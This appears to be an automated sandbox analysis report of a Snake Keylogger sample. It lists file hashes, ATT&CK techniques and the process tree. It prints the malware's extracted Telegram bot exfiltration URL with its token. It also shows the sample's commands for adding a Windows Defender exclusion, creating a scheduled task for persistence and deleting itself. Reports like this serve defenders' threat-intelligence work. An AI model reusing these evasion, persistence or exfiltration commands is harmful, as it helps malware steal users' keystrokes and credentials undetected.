snakekeylogger | b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2

Analysis

max time kernel
95s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-12-2024 08:49

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General

Target

b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe
Size

1.1MB
MD5

011f3bebde38bdac8ceaebfbff201f4a
SHA1

bb5769d029c5f202e823e038aab2aae454cf0299
SHA256

b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2
SHA512

161838d1df3f6b7d7c2d61f98fc5fc55a30281e24433a5fc49a52aad0182bd5c5d581ba294c2a96878d93dc8536499d79a08f8aac879dc0eb5bee7f46b429cdf
SSDEEP

12288:a93TVasGFa3nj6mYdrlXeohkdm8odEH8o4+AJDYv+6c0xlskR:a9l53jVYRXebsf19DEJ/

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7971510363:AAH477ofdLYaboEb0PeeyOtbxApvVZT953M/sendMessage?chat_id=7405587880

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/800-21-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
664	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2176 set thread context of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vbc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1904	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
664	powershell.exe
800	vbc.exe
664	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	800	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 664	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	92
PID 2176 wrote to memory of 664	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	92
PID 2176 wrote to memory of 664	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	92
PID 2176 wrote to memory of 1904	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	94
PID 2176 wrote to memory of 1904	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	94
PID 2176 wrote to memory of 1904	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	94
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 2176 wrote to memory of 800	2176	b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe	96
PID 800 wrote to memory of 4352	800	vbc.exe	102
PID 800 wrote to memory of 4352	800	vbc.exe	102
PID 800 wrote to memory of 4352	800	vbc.exe	102
PID 4352 wrote to memory of 4724	4352	cmd.exe	104
PID 4352 wrote to memory of 4724	4352	cmd.exe	104
PID 4352 wrote to memory of 4724	4352	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe
"C:\Users\Admin\AppData\Local\Temp\b6ad170d197d557e308b9356d0f87653eb463cf74a48cbb50ce74c7260c315c2.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\BtnoWSiF.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BtnoWSiF" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF155.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1904
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:4724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wks5eg5r.52v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF155.tmp

Filesize
1KB

MD5
3662effaf355afe0fda782490a2411d0

SHA1
07d68bfae26567f5091e95c723614a05b0a9fee0

SHA256
3732255faa8341e00c279191c8c0f073cf8e21c34341842657ef41518e0f4697

SHA512
fa5e766021618d17ec68851661289edbb2d34f0de9bbcd31e1c2517b83819b82db0aedd040ce71f87c645ea150b289d66fcbf5b609e75ed07c7639c20c389b11

Download Submit
memory/664-19-0x0000000004DF0000-0x0000000005418000-memory.dmp

Filesize
6.2MB

Download
memory/664-40-0x0000000005B10000-0x0000000005B5C000-memory.dmp

Filesize
304KB

Download
memory/664-61-0x0000000007150000-0x000000000716A000-memory.dmp

Filesize
104KB

Download
memory/664-60-0x0000000007050000-0x0000000007064000-memory.dmp

Filesize
80KB

Download
memory/664-59-0x0000000007040000-0x000000000704E000-memory.dmp

Filesize
56KB

Download
memory/664-58-0x0000000007010000-0x0000000007021000-memory.dmp

Filesize
68KB

Download
memory/664-57-0x0000000007090000-0x0000000007126000-memory.dmp

Filesize
600KB

Download
memory/664-56-0x0000000006E80000-0x0000000006E8A000-memory.dmp

Filesize
40KB

Download
memory/664-55-0x0000000006E10000-0x0000000006E2A000-memory.dmp

Filesize
104KB

Download
memory/664-54-0x0000000007450000-0x0000000007ACA000-memory.dmp

Filesize
6.5MB

Download
memory/664-16-0x00000000021D0000-0x0000000002206000-memory.dmp

Filesize
216KB

Download
memory/664-17-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/664-41-0x0000000006C90000-0x0000000006CC2000-memory.dmp

Filesize
200KB

Download
memory/664-62-0x0000000007130000-0x0000000007138000-memory.dmp

Filesize
32KB

Download
memory/664-53-0x0000000006CD0000-0x0000000006D73000-memory.dmp

Filesize
652KB

Download
memory/664-52-0x0000000006090000-0x00000000060AE000-memory.dmp

Filesize
120KB

Download
memory/664-22-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/664-42-0x0000000070590000-0x00000000705DC000-memory.dmp

Filesize
304KB

Download
memory/664-18-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/664-27-0x0000000005490000-0x00000000054F6000-memory.dmp

Filesize
408KB

Download
memory/664-26-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/664-25-0x0000000004C30000-0x0000000004C52000-memory.dmp

Filesize
136KB

Download
memory/664-67-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/664-29-0x0000000005500000-0x0000000005854000-memory.dmp

Filesize
3.3MB

Download
memory/664-39-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

Filesize
120KB

Download
memory/800-64-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/800-24-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/800-21-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2176-10-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2176-28-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2176-11-0x0000000004D00000-0x0000000004D68000-memory.dmp

Filesize
416KB

Download
memory/2176-0-0x00000000745BE000-0x00000000745BF000-memory.dmp

Filesize
4KB

Download
memory/2176-9-0x00000000745BE000-0x00000000745BF000-memory.dmp

Filesize
4KB

Download
memory/2176-8-0x0000000006880000-0x000000000689C000-memory.dmp

Filesize
112KB

Download
memory/2176-7-0x0000000006C10000-0x0000000006CC0000-memory.dmp

Filesize
704KB

Download
memory/2176-6-0x00000000055A0000-0x000000000563C000-memory.dmp

Filesize
624KB

Download
memory/2176-5-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2176-4-0x00000000052F0000-0x00000000052FA000-memory.dmp

Filesize
40KB

Download
memory/2176-3-0x0000000005300000-0x0000000005392000-memory.dmp

Filesize
584KB

Download
memory/2176-2-0x00000000057D0000-0x0000000005D74000-memory.dmp

Filesize
5.6MB

Download
memory/2176-1-0x00000000007F0000-0x0000000000902000-memory.dmp

Filesize
1.1MB

Download